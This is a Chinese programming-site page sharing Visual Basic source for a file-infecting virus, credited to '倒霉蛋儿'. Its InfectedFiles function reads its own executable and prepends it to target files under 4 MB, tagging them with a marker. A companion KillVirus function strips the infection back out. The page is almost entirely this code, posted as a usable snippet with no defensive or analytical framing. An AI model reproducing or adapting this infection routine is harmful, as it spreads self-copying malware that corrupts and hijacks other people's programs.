倒霉蛋儿写的VB感染函数代码

页面导航:首页 > 软件编程 > vb.net > 倒霉蛋儿写的VB感染函数代码

倒霉蛋儿写的VB感染函数代码

来源: 作者: 时间:2016-01-21 10:23 【

Private Function InfectedFiles(ByVal FilePath As String) As BooleanDim MyArray() As ByteDim FileArray() As ByteIf FileLen(FilePath) 4194304 Then Exit Function 大于4mb不感染Open MyName For Binary Access Read As #1

Private Function InfectedFiles(ByVal FilePath As String) As Boolean
Dim MyArray() As Byte
Dim FileArray() As Byte
If FileLen(FilePath) > 4194304 Then Exit Function 大于4mb不感染

Open MyName For Binary Access Read As #1 读取自身文件内容
ReDim MyArray(FileLen(MyName) - 1)
Get #1, , MyArray
Close #1

Open FilePath For Binary Access Read As #1 读取要感染的问件内容
ReDim FileArray(FileLen(FilePath) - 1)
Get #1, , FileArray
Close #1

If InStr(FileArray, "BY:倒霉蛋儿") > 0 Then 判断是否被感染
Exit Function
Else
Open FilePath For Binary Access Write As #1 把自身和感染文件与配置信息一起写到一个新文件去
Put #1, , MyArray
Put #1, , FileArray
Put #1, , "BY:倒霉蛋儿" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1
Close #1
InfectedFiles = True
End If
End Function

Private Function KillVirus(ByVal VirusPath As String) As Boolean
Dim infected() As Byte
Dim vbArray() As Byte
Dim SplitArray() As String
Dim SplitINI() As String
On Error Resume Next
If FileLen(VirusPath) > 4194304 Then Exit Function 大于4mb不感染
Open VirusPath For Binary Access Read As #1 读取自身文件内容
ReDim infected(FileLen(VirusPath) - 1)
Get #1, , infected
Close #1
If InStr(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") > 0 Then 判断是否被感染
SplitArray = Split(StrConv(infected, vbUnicode), "BY:倒霉蛋儿")
SplitINI = Split(SplitArray(UBound(SplitArray)), ",")
ReDim vbArray(SplitINI(1) - 1)
Open VirusPath For Binary As #1
Get #1, SplitINI(0) + 1, vbArray
Close #1
Open VirusPath For Binary As #1
Put #1, , vbArray
Close #1
KillVirus = True
End If
End Function

Tags:

相关文章

    文章评论

    最 近 更 新
    热 点 排 行
    Js与CSS工具
    代码转换工具
    
    <